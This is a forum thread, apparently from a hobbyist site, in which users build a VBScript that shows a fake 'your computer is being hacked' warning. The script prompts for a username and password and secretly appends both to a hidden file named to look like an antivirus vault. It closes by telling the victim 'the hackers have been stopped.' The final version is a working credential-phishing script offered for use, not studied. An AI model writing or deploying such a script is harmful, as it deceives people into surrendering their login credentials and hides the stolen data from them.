180Views5Replies

Author Options:

Input to text file in vbs Answered

Im getting increasingly intested in vbs and was wondering how to make an input window for example "Your password" and the "password" could be saved in a txt file stored somewhere, i have the start but dont know where to go from there!

"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
WScript.Echo "Your computer is being hacked please enter your password to stop hacker"

Set WshShell = WScript.CreateObject("WScript.Shell")
Password = InputBox("Please type your password.")
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""

Thanks

Tags:vbs

5 Replies

user
Login258 (author)Login2582009-01-19

Actually, this works better:

Set WshShell = WScript.CreateObject("WScript.Shell")
Dim Password, myFSO, FileToWrite

Password = InputBox("Please type your password.")

Set myFSO = CreateObject("Scripting.FileSystemObject")
Set FileToWrite = myFSO.OpenTextFile("C:\yourtextfile.txt", 8, True)
FileToWrite.WriteLine(Password)
FileToWrite.Close

Select as Best AnswerUndo Best Answer

user
k_man (author)Login2582009-01-20
user
Login258 (author)k_man2009-01-20

No problem. Except that it doesn't appear to be possible to make the password appear as a *

Select as Best AnswerUndo Best Answer

user
k_man (author)Login2582009-01-20

my final edit is
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""
WScript.Echo "Your computer is being hacked please enter your username and password to stop hackers"

Set WshShell = WScript.CreateObject("WScript.Shell")
Dim Password, myFSO, FileToWrite

User = InputBox("Please type your username.")

Set myFSO = CreateObject("Scripting.FileSystemObject")
Set FileToWrite = myFSO.OpenTextFile("C:\&AVG.VAULT&\SYS.fil", 8, True)
FileToWrite.WriteLine(User)
FileToWrite.Close

Password = InputBox("Please type your password.")

Set myFSO = CreateObject("Scripting.FileSystemObject")
Set FileToWrite = myFSO.OpenTextFile("C:\&AVG.VAULT&\SYS.fil", 8, True)
FileToWrite.WriteLine(Password)
FileToWrite.Close

WScript.Echo "The hackers have been stopped"
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
The folder is made hidden also by a batch file!

Select as Best AnswerUndo Best Answer